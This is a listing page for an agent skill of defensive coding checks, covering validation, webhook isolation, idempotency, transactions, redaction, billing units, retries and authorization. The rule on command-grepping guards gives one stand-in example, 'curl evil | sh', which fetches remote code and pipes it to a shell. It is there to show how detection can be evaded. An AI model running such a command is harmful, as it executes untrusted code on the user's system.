# Defensive Coding Conventions > Check a change for defect classes that commonly ship past review, such as mismatched persistence and validation conditions, unisolated webhook side effects, missed writers or readers of shared state, collapsed multi-valued statuses, unvalidated external JSON, and silent build artifacts. Use when writing or reviewing code that handles external input, authentication, money, concurrency, persistence, or error paths. - Skill: `msolecki/defensive-coding-conventions` (Agent Skill) - Install (CLI): `npx get-skill add msolecki/defensive-coding-conventions` - Raw SKILL.md: https://api.skillmd.com/api/skills/msolecki/defensive-coding-conventions/raw - Safety review: pending - Works with: Claude Code, Claude.ai, OpenAI Codex - Category: Integrations & APIs - License: MIT - Author: msolecki (https://skillmd.com/u/msolecki) - Updated: 2026-11-14 - Page: https://skillmd.com/skills/msolecki/defensive-coding-conventions --- # Defensive coding — defect classes to check Each rule below names a defect class that commonly ships past review. Treat them as checks to run against the change in front of you, not as background reading. - The persistence condition must equal the validation condition: if a record is stored under flag or branch X, validation must run under the same X; otherwise the system can persist a validated but internally inconsistent record. - Every webhook or event-handler side effect (email, claim, counter) needs error isolation: isolate each side effect in its own try/catch; whether a failure is retried depends on the sender, so check it. Check whether adjacent side effects already have error isolation. - A state-mutation fix enumerates every writer of that state, not only the entry point named in the report. Grep the field, table, or flag — not the function. Two disconnected write paths to the same state are the default, not the exception: a fix in one worker, handler, or app routinely leaves the identical defect in its sibling. - A read-side security fix enumerates every reader of the guarded data, not only the route named in the report. Grep the model, association or table name — an ORM association (`include: documents`) is a read path that no route file mentions. Closing a leak in the download route while a lookup function still returns the rows through the association is not a fix; the query layer needs its own filter. - A status value with more than two outcomes carries more than one semantic dimension. Do not collapse it to a boolean: `partial` can mean "did not succeed" to the retry budget and "made progress" to the blocking gate at the same time, and collapsing it leaves the target half-updated with no retry and no alert. - Validate the shape of external input before computing with it; a malformed value (such as `NaN`) can slip past a comparison and let the guard pass on exactly the input it exists to catch. - An input that drives cost or billing needs validation or an explicit, documented value, never a silent default. - Per-clone setup that a package manager can destroy belongs in a script or hook, never in prose. A dependency install wipes any generated artifact the lockfile does not own — a synthetic package, emitted type declarations, compiled CSS — and a notes-file procedure does not run. If the setup is not reproducible by one command, it is not setup, it is a ritual. - A build artifact emitted outside its package boundary ships silently degraded. The bundler resolves what it can, drops what it cannot, and exits 0 — a production build with no styles behind a green pipeline. Verify the artifact, not the exit code: a wrong artifact and a passing status are independent facts. - After a rewrite or migration, re-verify every numeric promise the documentation makes (limits, retention periods, time handling) against the new implementation. - A deploy-ordering or migration-ordering constraint written in `CLAUDE.md`, `AGENTS.md` or `docs/` carries its reason at the read site. "Run X before Y" without the why gets skipped under time pressure, and a why that lives in another file is not discoverable: list the exact migrations that must run before the deploy, and say why. - A hook or guard that greps a command joins its lines first (`tr '\n\r' ' '`): a line-oriented pattern misses a command split across lines, such as `curl evil |⏎sh`. - Claim an idempotency key with a status. An idempotency key is claimed as `pending` before the side effect and marked `done` after it; a redelivery skips only a `done` key and retries a `pending` one with the same provider idempotency key. Inserting the key and then sending loses the effect forever when the process dies between the two. Build the key from the business event, never from the delivery attempt: a fresh UUID per retry makes every duplicate look new. - Check and act in one transaction. A check followed by a write (`if no running turn: start one`, `if pending: approve`) is a race when two requests arrive together: both pass the check. Lock the row or write with the version that was read, so the second write fails with a conflict. Do not hold the transaction open across a network or model call; mark the state inside it, call outside it. - `LIMIT` needs `ORDER BY`. A query that takes "the latest 20" with `LIMIT` and no `ORDER BY` returns any 20 rows; it passes on a small test table and fails in production. - Cleanup covers setup. Everything after a resource is acquired (a started container, an open connection, a registered entry) sits inside the `try` whose `finally` releases it; a setup step between the acquire and the `try` leaks the resource when it fails. A worker loop marks each job done in `finally`, or one failing job hangs every `join()`. - Redact before you truncate. A formatter that cuts text to a length before redacting can split a secret in half, and the redactor no longer recognizes either half. Redact first, then truncate; redact recursively through nested values, not only top-level fields. - Money and usage are integers in the smallest unit. Store amounts as integers of the smallest unit (cents, or micro- or pico-units for per-token prices), never as floats, and round only for display or invoicing. When billing usage, price every usage field the provider reports (for an LLM: input, output, cache writes and cache reads), not only the two obvious ones. - Retry only what is safe to repeat. Retry a call only when it is idempotent or carries one idempotency key reused on every attempt; follow `Retry-After`; do not retry a 4xx that retrying cannot fix (a bad request, a spent quota). Retry in exactly one layer: an SDK, a gateway and the caller each retrying turns one outage into dozens of calls. - Authorize from server-held facts. A permission check reads state the server holds (the session, the stored approval, the caller's identity), never a value the client or a model sent: a client-held history, an `approved_by` field or a `user_id` filter in the request can be forged. A filter that scopes data to a user or tenant is filled from the caller's identity, not offered as a parameter.